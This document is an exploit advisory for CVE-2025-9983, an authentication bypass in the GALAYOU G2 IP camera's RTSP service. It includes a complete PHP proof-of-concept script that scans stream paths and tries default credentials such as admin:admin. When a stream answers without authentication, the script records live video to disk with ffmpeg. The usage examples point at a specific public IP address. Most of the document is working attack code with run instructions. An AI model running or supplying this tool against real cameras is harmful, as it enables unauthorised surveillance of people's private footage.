============================================================================================================================================= | # Title : GALAYOU G2 IP Camera – RTSP Credential Authentication Bypass | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.galayou-store.com/g2 | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/210931/ & CVE-2025-9983 [+] Summary : A critical authentication bypass vulnerability exists in the RTSP service of the GALAYOU G2 IP camera. The device exposes multiple RTSP stream endpoints that can be accessed without valid credentials, even when authentication is enabled. An unauthenticated remote attacker can directly connect to the video stream and retrieve live footage without authorization. [+] POC : Steps to use it on Windows: Download and install FFmpeg: 1. Go to: https://ffmpeg.org/download.html 2. Select "Windows builds from gyan.dev" 3. Download the latest version (e.g., ffmpeg-release-essentials.zip) 4. Extract and copy: - ffmpeg.exe - ffprobe.exe 5. Place both files in the same PHP script folder 2. Using it from the command line: # Simple method: php poc.php 14.45.222.129 # Or using the options: php poc.php -t 14.45.222.129 # With a custom port: php poc.php -t 14.45.222.129 -p 8554 3. If FFmpeg elsewhere: # You can add it to the PATH environment variables: 1. Press Win + R and type "systempropertiesadvanced" 2. Click "Environment Variables" 3. In "System variables", select "Path" and click "Edit" 4. Add the path to the ffmpeg folder 5. Restart Command Prompt target = $target; $this->cliMode = $cliMode; $this->isWindows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'); } /** * تنفيذ أمر ffprobe بشكل آمن */ private function executeFFprobe($url) { if ($this->isWindows) { // أمر Windows $command = sprintf( 'ffprobe.exe -loglevel error -rtsp_transport tcp -timeout 3000000 -i "%s" 2>&1', $url ); } else { // أمر Linux/Unix $command = sprintf( 'timeout %d ffprobe -loglevel error -rtsp_transport tcp -timeout 3000000 -i %s 2>&1', $this->timeout, escapeshellarg($url) ); } $output = []; $returnCode = 0; exec($command, $output, $returnCode); $outputStr = implode("\n", $output); // تسجيل النتائج للتشخيص if ($this->cliMode) { echo "[DEBUG] Testing: {$url}\n"; if (strlen($outputStr) > 0) { echo "[DEBUG] Output: " . substr($outputStr, 0, 200) . "\n"; } } // التحقق من النجاح if ($returnCode === 0) { return true; } // البحث عن أخطاء 401 (غير مصرح) if (strpos($outputStr, '401') === false && strpos($outputStr, 'Unauthorized') === false) { // لا يوجد خطأ 401، قد يكون الوصول ممكناً if (strpos($outputStr, 'Connection refused') === false && strpos($outputStr, 'Connection timed out') === false && strpos($outputStr, 'Unable to open') === false) { return true; } } return false; } /** * فحص وجود دفق RTSP */ public function checkStream($url) { try { return $this->executeFFprobe($url); } catch (Exception $e) { if ($this->cliMode) { echo "[-] Error checking stream: " . $e->getMessage() . "\n"; } return false; } } /** * مسح جميع مسارات RTSP المحتملة */ public function scanStreams() { $paths = [ "/live/main", "/stream1", "/stream2", "/h264", "/11", "/12", "/cam/realmonitor", "/media/video1", "/main", "/sub", "/video", "/live", "/0", "/1", "/2", "/ch0_0.h264", "/ch0_1.h264" ]; $found = 0; foreach ($paths as $path) { // المحاولة بدون بيانات الاعتماد $url = "rtsp://{$this->target}:{$this->port}{$path}"; if ($this->checkStream($url)) { $this->streams[] = [ 'url' => $url, 'type' => 'no_auth', 'tested' => false ]; $found++; if ($this->cliMode) { echo "[+] Found stream: {$url}\n"; } } // المحاولة ببيانات الاعتماد الافتراضية $credentials = [ 'admin:admin', 'admin:123456', 'admin:password', 'admin:', 'user:user', 'admin:admin123' ]; foreach ($credentials as $cred) { $testUrl = "rtsp://{$cred}@{$this->target}:{$this->port}{$path}"; if ($this->checkStream($testUrl)) { $this->streams[] = [ 'url' => $testUrl, 'type' => 'with_auth', 'tested' => false ]; $found++; if ($this->cliMode) { echo "[+] Found stream with creds {$cred}: {$testUrl}\n"; } break; // اكتفاء بأول مجموعة ناجحة } } // إضافة تأخير لتجنب حمل كبير على الخادم if ($this->isWindows) { usleep(50000); // 0.05 ثانية } } return $found; } /** * التحقق من إمكانية تجاوز المصادقة */ public function verifyBypass() { $vulnerableStreams = []; foreach ($this->streams as &$stream) { if ($stream['tested']) { continue; } // استخراج الرابط النظيف (إزالة بيانات الاعتماد إن وجدت) $url = $stream['url']; if (strpos($url, '@') !== false) { $parts = explode('@', $url); $cleanUrl = "rtsp://" . end($parts); } else { $cleanUrl = $url; } if ($this->cliMode) { echo "[*] Testing bypass for: " . htmlspecialchars($cleanUrl) . "\n"; } if ($this->checkStream($cleanUrl)) { if ($this->cliMode) { echo "[!] VULNERABLE: " . htmlspecialchars($cleanUrl) . "\n"; } $stream['vulnerable'] = true; $vulnerableStreams[] = $cleanUrl; // التقاط الدفق $this->captureStream($cleanUrl); } else { $stream['vulnerable'] = false; } $stream['tested'] = true; } return $vulnerableStreams; } /** * التقاط دفق الفيديو */ public function captureStream($url) { $timestamp = time(); $outputFile = "capture_{$this->target}_{$timestamp}.mp4"; if ($this->isWindows) { $command = sprintf( 'ffmpeg.exe -y -rtsp_transport tcp -i "%s" -t %d -c copy "%s" 2>nul', $url, $this->captureDuration, $outputFile ); } else { $command = sprintf( 'timeout %d ffmpeg -y -rtsp_transport tcp -i %s -t %d -c copy %s 2>/dev/null', $this->captureDuration + 5, escapeshellarg($url), $this->captureDuration, escapeshellarg($outputFile) ); } if ($this->cliMode) { echo "[*] Capturing {$this->captureDuration} seconds to: {$outputFile}\n"; } exec($command, $output, $returnCode); if (file_exists($outputFile) && filesize($outputFile) > 1024) { $size = filesize($outputFile); if ($this->cliMode) { echo "[+] Capture successful: {$outputFile} (" . $this->formatBytes($size) . ")\n"; } return $outputFile; } elseif (file_exists($outputFile)) { // حذف الملفات الصغيرة جداً (فشل التقاط) unlink($outputFile); } return false; } /** * تنسيق حجم الملف للعرض */ private function formatBytes($bytes, $precision = 2) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, $precision) . ' ' . $units[$pow]; } /** * فحص المتطلبات النظامية لنظام Windows */ private function checkWindowsRequirements() { $tools = [ 'ffprobe' => 'ffprobe.exe', 'ffmpeg' => 'ffmpeg.exe' ]; $missing = []; // البحث عن الأدوات في المسار أو الدليل الحالي foreach ($tools as $name => $exe) { $found = false; // التحقق في المسار $pathCheck = shell_exec('where ' . $exe . ' 2>nul'); if (!empty($pathCheck)) { $found = true; } // التحقق في الدليل الحالي if (!$found && file_exists($exe)) { $found = true; } // التحقق في دليل ffmpeg الشائع if (!$found && file_exists('ffmpeg\\bin\\' . $exe)) { $found = true; } if (!$found) { $missing[] = $name; } } if (!empty($missing)) { if ($this->cliMode) { echo "[-] Missing required tools: " . implode(', ', $missing) . "\n"; echo "[-] Please download ffmpeg from: https://ffmpeg.org/download.html\n"; echo "[-] Extract ffmpeg.exe and ffprobe.exe to this directory or add to PATH\n"; } return false; } return true; } /** * فحص المتطلبات النظامية لنظام Linux */ private function checkLinuxRequirements() { $requirements = [ 'ffprobe' => 'which ffprobe 2>/dev/null', 'ffmpeg' => 'which ffmpeg 2>/dev/null', 'timeout' => 'which timeout 2>/dev/null' ]; $missing = []; foreach ($requirements as $tool => $command) { exec($command, $output, $returnCode); if ($returnCode !== 0) { $missing[] = $tool; } } if (!empty($missing)) { if ($this->cliMode) { echo "[-] Missing required tools: " . implode(', ', $missing) . "\n"; echo "[-] Install with: sudo apt-get install ffmpeg coreutils\n"; } return false; } return true; } /** * فحص المتطلبات النظامية العامة */ private function checkRequirements() { // فحص صلاحيات exec if (!function_exists('exec')) { if ($this->cliMode) { echo "[-] exec() function is disabled in php.ini\n"; echo "[-] Enable it or contact your administrator\n"; } return false; } if ($this->isWindows) { return $this->checkWindowsRequirements(); } else { return $this->checkLinuxRequirements(); } } /** * تنفيذ الاستغلال */ public function exploit() { if ($this->cliMode) { echo "========================================\n"; echo "CVE-2025-9983 - GALAYOU G2 RTSP Bypass\n"; echo " By indoushka \n"; echo "Target: {$this->target}\n"; echo "OS: " . ($this->isWindows ? 'Windows' : 'Linux/Unix') . "\n"; echo "========================================\n\n"; } // فحص المتطلبات if (!$this->checkRequirements()) { return [ 'success' => false, 'message' => 'Missing requirements', 'streams' => [] ]; } // المسح if ($this->cliMode) { echo "[*] Scanning for RTSP streams...\n"; } $found = $this->scanStreams(); if ($found === 0) { if ($this->cliMode) { echo "[-] No streams found\n"; echo "[*] Possible reasons:\n"; echo " 1. Camera is not accessible\n"; echo " 2. Port 554 is blocked\n"; echo " 3. Camera uses different RTSP paths\n"; } return [ 'success' => false, 'message' => 'No streams found', 'streams' => [] ]; } if ($this->cliMode) { echo "\n[*] Found {$found} stream(s)\n"; echo "[*] Verifying credential bypass...\n\n"; } $vulnerable = $this->verifyBypass(); if (!empty($vulnerable)) { $result = [ 'success' => true, 'message' => 'Exploitation successful', 'vulnerable_count' => count($vulnerable), 'vulnerable_streams' => $vulnerable, 'all_streams' => $this->streams ]; if ($this->cliMode) { echo "\n[+] Exploitation successful!\n"; echo "[+] Vulnerable streams: " . count($vulnerable) . "\n"; foreach ($vulnerable as $stream) { echo " - " . htmlspecialchars($stream) . "\n"; } } } else { $result = [ 'success' => false, 'message' => 'No vulnerable streams found', 'vulnerable_count' => 0, 'all_streams' => $this->streams ]; if ($this->cliMode) { echo "\n[-] No vulnerable streams found\n"; echo "[*] The camera might not be vulnerable to CVE-2025-9983\n"; } } return $result; } } // ==================== معالج CLI ==================== if (PHP_SAPI === 'cli') { // تحليل وسائط CLI بشكل مبسط $target = ''; $port = 554; if ($argc >= 2) { // دعم شكلين: poc.php 192.168.1.1 أو poc.php -t 192.168.1.1 if ($argv[1] == '-t' && isset($argv[2])) { $target = $argv[2]; if (isset($argv[3]) && ($argv[3] == '-p' || $argv[3] == '--port') && isset($argv[4])) { $port = intval($argv[4]); } } else { $target = $argv[1]; } } if (empty($target)) { echo "GALAYOU G2 RTSP Credential Bypass Exploit (Windows/Linux)\n"; echo "=========================================================\n"; echo "Usage:\n"; echo " php " . basename(__FILE__) . " \n"; echo " php " . basename(__FILE__) . " -t [-p ]\n"; echo "\nExamples:\n"; echo " php " . basename(__FILE__) . " 192.168.1.100\n"; echo " php " . basename(__FILE__) . " -t 192.168.1.100 -p 554\n"; echo "\nNote for Windows users:\n"; echo " 1. Download ffmpeg from: https://ffmpeg.org/download.html\n"; echo " 2. Extract ffmpeg.exe and ffprobe.exe to this directory\n"; exit(0); } // التحقق من IP if (!filter_var($target, FILTER_VALIDATE_IP)) { echo "[-] Error: Invalid IP address\n"; exit(1); } // إنشاء وتنفيذ $exploit = new RTSPBypassExploit($target, true); $result = $exploit->exploit(); if (!$result['success']) { exit(1); } exit(0); } else { // ==================== واجهة ويب مبسطة ==================== ?> CVE-2025-9983 - RTSP Bypass

CVE-2025-9983 - GALAYOU G2 RTSP Bypass

Warning: This tool is for educational purposes only. Use only on systems you own or have permission to test.

For full functionality, please use the CLI version.

CLI Usage: php <target_ip>


Download FFmpeg for Windows:

  1. Download from: https://ffmpeg.org/download.html
  2. Choose "Windows builds from gyan.dev"
  3. Download the latest release
  4. Extract ffmpeg.exe and ffprobe.exe to the same directory as this script